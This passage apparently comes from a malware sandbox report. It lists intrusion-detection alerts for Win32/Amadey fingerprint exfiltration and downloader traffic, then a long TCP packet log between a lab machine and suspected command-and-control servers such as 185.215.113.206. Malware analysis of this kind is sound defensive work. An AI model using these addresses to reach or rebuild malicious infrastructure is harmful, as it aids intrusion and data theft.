2024-11-27T16:36:01.514930+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50072	185.215.113.43	80	TCP
2024-11-27T16:36:03.201232+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50074	31.41.244.11	80	TCP
2024-11-27T16:36:14.667168+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50101	185.215.113.43	80	TCP
2024-11-27T16:36:16.316466+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50108	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 27, 2024 16:34:07.517810106 CET	49674	443	192.168.2.7	104.98.116.138
Nov 27, 2024 16:34:07.518722057 CET	49675	443	192.168.2.7	104.98.116.138
Nov 27, 2024 16:34:07.627192974 CET	49672	443	192.168.2.7	104.98.116.138
Nov 27, 2024 16:34:11.346295118 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 16:34:11.720843077 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 16:34:12.470828056 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 16:34:13.970966101 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 16:34:14.741020918 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:14.861135006 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:14.861238003 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:14.862502098 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:14.982594013 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:16.356502056 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:16.360675097 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:16.367353916 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:16.488168001 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:16.869905949 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:16.870484114 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:16.882473946 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:16.955193043 CET	49677	443	192.168.2.7	20.50.201.200
Nov 27, 2024 16:34:17.002410889 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:17.131340981 CET	49674	443	192.168.2.7	104.98.116.138
Nov 27, 2024 16:34:17.131525040 CET	49675	443	192.168.2.7	104.98.116.138
Nov 27, 2024 16:34:17.236444950 CET	49672	443	192.168.2.7	104.98.116.138
Nov 27, 2024 16:34:17.381973982 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:17.382030010 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:17.382060051 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:17.382101059 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:17.389429092 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:17.509505033 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:17.852874041 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:17.852904081 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:17.852917910 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:17.852972984 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:17.853002071 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:17.853044987 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:17.853058100 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:17.853070974 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:17.853089094 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:17.853116035 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:18.063189030 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:18.064673901 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:18.065984011 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:18.186028004 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:18.534044027 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:18.534252882 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:18.552062035 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:18.552114964 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:18.672121048 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:18.672141075 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:18.672272921 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:18.672283888 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:18.672410965 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:18.672425985 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:19.420425892 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:19.420476913 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:19.420540094 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:19.420835018 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:19.420846939 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:19.561115980 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:19.561184883 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:20.332345963 CET	443	49700	104.98.116.138	192.168.2.7
Nov 27, 2024 16:34:20.332456112 CET	49700	443	192.168.2.7	104.98.116.138
Nov 27, 2024 16:34:20.571937084 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:20.692054987 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.033684015 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.033699989 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.033790112 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.035986900 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.036088943 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.036153078 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.044392109 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.044528008 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.044593096 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.052834034 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.052942038 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.053004026 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.061222076 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.061283112 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.061309099 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.061415911 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.069691896 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.069756031 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.069781065 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.069829941 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.163804054 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.163894892 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.163922071 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.163975000 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.167960882 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.168034077 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.168710947 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.168865919 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.168915987 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.177180052 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.177253962 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.177280903 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.177407026 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.181952000 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.182025909 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:21.185412884 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:21.185422897 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.185621977 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.185703993 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.185762882 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.185796022 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.185808897 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.194039106 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.194327116 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:21.194353104 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.235332966 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.255563974 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.255578995 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.255623102 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.255635023 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.259608030 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.259659052 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.259730101 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.259774923 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.268040895 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.268287897 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.268342018 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.276732922 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.276782990 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.276793003 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.276815891 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.284926891 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.285017967 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.285046101 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.285111904 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.293308020 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.293396950 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.293432951 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.293479919 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.301744938 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.301762104 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.301831961 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.306684971 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.306777000 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.306833982 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.313893080 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.314029932 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.314114094 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.321047068 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.321152925 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.321227074 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.327603102 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.327668905 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.327809095 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.334238052 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.334297895 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.374422073 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.374536037 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.374638081 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.377295017 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.377352953 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.377422094 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.377471924 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.383923054 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.383992910 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.386248112 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.386306047 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.386332035 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.386460066 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.392929077 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.392985106 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.393049002 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.393098116 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.399499893 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.399554968 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.399570942 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.399632931 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.406064034 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.406117916 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.406174898 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.406224012 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.412700891 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.412758112 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.412765980 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.412806988 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.419271946 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.419327974 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.419390917 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.419437885 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.425857067 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.426513910 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.454644918 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.454668999 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.454694986 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.454713106 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.456783056 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.456835985 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.456856012 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.456898928 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.460110903 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.460158110 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.460186958 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.460237026 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.464392900 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.464437008 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.464442015 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.464484930 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.468705893 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.468761921 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.468780994 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.468843937 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.472955942 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.473009109 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.473079920 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.473128080 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.477184057 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.477272034 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.477298021 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.477319956 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.481489897 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.481539011 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.481558084 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.481647015 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.485795021 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.485846043 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.485917091 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.485965967 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.489989996 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.490047932 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.503746033 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.503760099 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.503804922 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.505820990 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.505876064 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.506613016 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.506671906 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.506726027 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.506808043 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.510654926 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.510710955 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.510760069 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.510801077 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.515028000 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.515074015 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.515106916 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.515160084 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.519258976 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.519299030 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.519310951 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.519336939 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.523473024 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.523684978 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.523740053 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.526644945 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.526699066 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.526737928 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.526784897 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.529941082 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.529994965 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.530117035 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.530164003 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.533019066 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.533075094 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.584500074 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.584520102 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.584578037 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.585345984 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.585521936 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.585576057 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.588660955 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.588674068 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.588720083 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.590903044 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.590954065 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.591012001 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.591099024 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.594100952 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.594182014 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.594319105 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.594367981 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.597239971 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.597321033 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.597558022 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.597624063 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.600327969 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.600382090 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.600554943 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.600605011 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.603437901 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.603496075 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.603553057 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.603602886 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.606579065 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.606631994 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.606688976 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.606733084 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.609761000 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.609812975 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.609858990 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.609905005 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.612785101 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.612828970 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.613059044 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.613102913 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.615724087 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.615788937 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.615986109 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.616033077 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.618669033 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.618721008 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.618748903 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.618788958 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.621820927 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.621902943 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.621937037 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.621937037 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.624994040 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.625006914 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.625052929 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.625066042 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.627496958 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.627551079 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.627582073 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.627631903 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.671658993 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.671700001 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.671724081 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.671760082 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:21.671788931 CET	443	49702	13.107.246.63	192.168.2.7
Nov 27, 2024 16:34:21.671802044 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:21.671834946 CET	49702	443	192.168.2.7	13.107.246.63
Nov 27, 2024 16:34:21.687514067 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.687576056 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.687658072 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.687830925 CET	49701	80	192.168.2.7	185.215.113.206
Nov 27, 2024 16:34:21.688483953 CET	80	49701	185.215.113.206	192.168.2.7
Nov 27, 2024 16:34:21.688543081 CET	49701	80	192.168.2.7	185.215.113.206
